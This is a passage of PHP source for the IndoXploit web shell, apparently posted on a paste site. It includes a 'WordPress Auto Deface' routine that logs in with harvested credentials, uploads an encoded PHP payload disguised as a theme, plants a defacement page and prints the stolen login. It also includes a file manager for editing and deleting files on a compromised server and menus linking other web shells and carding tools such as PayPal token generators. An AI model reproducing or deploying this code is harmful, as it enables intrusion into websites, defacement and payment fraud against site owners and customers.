  2206. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2207. $www = "m.php";
  2208. $fp5 = fopen($www,"w");
  2209. fputs($fp5,$upload3);
  2210. $post2 = array(
  2211. "_wpnonce" => "$anu2",
  2212. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2213. "themezip" => "@$www",
  2214. "install-theme-submit" => "Install Now",
  2215. );
  2216. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2217. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2218. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2219. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2220. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2221. curl_setopt($ch, CURLOPT_POST, 1);
  2222. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2223. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2224. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2225. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2226. $data3 = curl_exec($ch);
  2227. curl_close($ch);
  2228. $y = date("Y");
  2229. $m = date("m");
  2230. $namafile = "id.php";
  2231. $fpi = fopen($namafile,"w");
  2232. fputs($fpi,$script);
  2233. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2234. curl_setopt($ch6, CURLOPT_POST, true);
  2235. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2236. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2237. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2238. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2239. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2240. $postResult = curl_exec($ch6);
  2241. curl_close($ch6);
  2242. $as = "$target/k.php";
  2243. $bs = anucurl($as);
  2244. if(preg_match("#$script#is", $bs)) {
  2245. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2246. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2247. } else {
  2248. echo "[-] <font color='red'>gagal mepes...</font><br>";
  2249. echo "[!!] coba aja manual: <br>";
  2250. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2251. echo "[+] username: <font color=lime>$user</font><br>";
  2252. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2253. }
  2254. mysql_close($conn);
  2255. }
  2256. }
  2257. } else {
  2258. echo "<center><h1>WordPress Auto Deface V.2</h1>
  2259. <form method='post'>
  2260. Link Config: <br>
  2261. <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2262. <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2263. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2264. </form></center>";
  2265. }
  2266. } elseif($_GET['act'] == 'newfile') {
  2267. if($_POST['new_save_file']) {
  2268. $newfile = htmlspecialchars($_POST['newfile']);
  2269. $fopen = fopen($newfile, "a+");
  2270. if($fopen) {
  2271. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2272. } else {
  2273. $act = "<font color=red>permission denied</font>";
  2274. }
  2275. }
  2276. echo $act;
  2277. echo "<form method='post'>
  2278. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2279. <input type='submit' name='new_save_file' value='Submit'>
  2280. </form>";
  2281. } elseif($_GET['act'] == 'newfolder') {
  2282. if($_POST['new_save_folder']) {
  2283. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2284. if(!mkdir($new_folder)) {
  2285. $act = "<font color=red>permission denied</font>";
  2286. } else {
  2287. $act = "<script>window.location='?dir=".$dir."';</script>";
  2288. }
  2289. }
  2290. echo $act;
  2291. echo "<form method='post'>
  2292. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2293. <input type='submit' name='new_save_folder' value='Submit'>
  2294. </form>";
  2295. } elseif($_GET['act'] == 'rename_dir') {
  2296. if($_POST['dir_rename']) {
  2297. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2298. if($dir_rename) {
  2299. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2300. } else {
  2301. $act = "<font color=red>permission denied</font>";
  2302. }
  2303. echo "".$act."<br>";
  2304. }
  2305. echo "<form method='post'>
  2306. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2307. <input type='submit' name='dir_rename' value='rename'>
  2308. </form>";
  2309. } elseif($_GET['act'] == 'delete_dir') {
  2310. function Delete($path)
  2311. {
  2312. if (is_dir($path) === true)
  2313. {
  2314. $files = array_diff(scandir($path), array('.', '..'));
  2315. foreach ($files as $file)
  2316. {
  2317. Delete(realpath($path) . '/' . $file);
  2318. }
  2319. return rmdir($path);
  2320. }
  2321. else if (is_file($path) === true)
  2322. {
  2323. return unlink($path);
  2324. }
  2325. return false;
  2326. }
  2327. $delete_dir = Delete($dir);
  2328. if($delete_dir) {
  2329. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2330. } else {
  2331. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2332. }
  2333. echo $act;
  2334. } elseif($_GET['act'] == 'view') {
  2335. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2336. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2337. } elseif($_GET['act'] == 'edit') {
  2338. if($_POST['save']) {
  2339. $save = file_put_contents($_GET['file'], $_POST['src']);
  2340. if($save) {
  2341. $act = "<font color=lime>Saved!</font>";
  2342. } else {
  2343. $act = "<font color=red>permission denied</font>";
  2344. }
  2345. echo "".$act."<br>";
  2346. }
  2347. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2348. echo "<form method='post'>
  2349. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2350. <input type='submit' value='Save' name='save' style='width: 500px;'>
  2351. </form>";
  2352. } elseif($_GET['act'] == 'rename') {
  2353. if($_POST['do_rename']) {
  2354. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2355. if($rename) {
  2356. $act = "<script>window.location='?dir=".$dir."';</script>";
  2357. } else {
  2358. $act = "<font color=red>permission denied</font>";
  2359. }
  2360. echo "".$act."<br>";
  2361. }
  2362. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2363. echo "<form method='post'>
  2364. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2365. <input type='submit' name='do_rename' value='rename'>
  2366. </form>";
  2367. } elseif($_GET['act'] == 'delete') {
  2368. $delete = unlink($_GET['file']);
  2369. if($delete) {
  2370. $act = "<script>window.location='?dir=".$dir."';</script>";
  2371. } else {
  2372. $act = "<font color=red>permission denied</font>";
  2373. }
  2374. echo $act;
  2375. }else {
  2376. if(is_dir($dir) == true) {
  2377. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2378. <tr>
  2379. <th class="th_home"><center>Name</center></th>
  2380. <th class="th_home"><center>Type</center></th>
  2381. <th class="th_home"><center>Size</center></th>
  2382. <th class="th_home"><center>Last Modified</center></th>
  2383. <th class="th_home"><center>Permission</center></th>
  2384. <th class="th_home"><center>Action</center></th>
  2385. </tr>';
  2386. $scandir = scandir($dir);
  2387. foreach($scandir as $dirx) {
  2388. $dtype = filetype("$dir/$dirx");
  2389. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2390. if(!is_dir("$dir/$dirx")) continue;
  2391. if($dirx === '..') {
  2392. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2393. } elseif($dirx === '.') {
  2394. $href = "<a href='?dir=$dir'>$dirx</a>";
  2395. } else {
  2396. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2397. }
  2398. if($dirx === '.' || $dirx === '..') {
  2399. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2400. } else {
  2401. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2402. }
  2403. echo "<tr>";
  2404. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2405. echo "<td class='td_home'><center>$dtype</center></td>";
  2406. echo "<td class='td_home'><center>-</center></th>";
  2407. echo "<td class='td_home'><center>$dtime</center></td>";
  2408. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2409. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2410. }
  2411. echo "</tr>";
  2412. foreach($scandir as $file) {
  2413. $ftype = filetype("$dir/$file");
  2414. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2415. $size = filesize("$dir/$file")/1024;
  2416. $size = round($size,3);
  2417. if($size > 1024) {
  2418. $size = round($size/1024,2). 'MB';
  2419. } else {
  2420. $size = $size. 'KB';
  2421. }
  2422. if(!is_file("$dir/$file")) continue;
  2423. echo "<tr>";
  2424. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2425. echo "<td class='td_home'><center>$ftype</center></td>";
  2426. echo "<td class='td_home'><center>$size</center></td>";
  2427. echo "<td class='td_home'><center>$ftime</center></td>";
  2428. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2429. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2430. }
  2431. echo "</tr></table>";
  2432. } else {
  2433. echo "<font color=red>can't open directory</font>";
  2434. }
  2435. }
  2436. echo "<center><hr><form>
  2437. <select onchange='if (this.value) window.open(this.value);'>
  2438. <option selected='selected' value=''> Tools Creator </option>
  2439. <option value='$ling=wso'>WSO 2.8.1</option>
  2440. <option value='$ling=injection'>1n73ction v3</option>
  2441. <option value='$ling=wk'>WHMCS Killer</option>
  2442. <option value='$ling=adminer'>Adminer</option>
  2443. <option value='$ling=b374k'>b374k Shell</option>
  2444. <option value='$ling=b374k323'>b374k 3.2</option>
  2445. <option value='$ling=bh'>BlackHat Shell</option>
  2446. <option value='$ling=dhanus'>Dhanush Shell</option>
  2447. <option value='$ling=r57'>R57 Shell</option>
  2448. <option value='$ling=encodedecode'>Encode Decode</option>
  2449. <option value='$ling=r57'>R57 Shell</option>
  2450. </select>
  2451. <select onchange='if (this.value) window.open(this.value);'>
  2452. <option selected='selected' value=''> Tools Carder </option>
  2453. <option value='$ling=extractor'>DB Email Extractor</option>
  2454. <option value='$ling=promailerv2'>Pro Mailer V2</option>
  2455. <option value='$ling=bukalapak'>BukaLapak Checker</option>
  2456. <option value='$ling=tokopedia'>TokoPedia Checker</option>
  2457. <option value='$ling=tokenpp'>Paypal Token Generator</option>
  2458. <option value='$ling=mailer'>Mailer</option>
  2459. <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2460. </select>
  2461. <noscript><input type='submit' value='Submit'></noscript>
  2462. </form>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> </center>";
  2463. ?>
  2464. </html>
Add Comment
Please, Sign In to add comment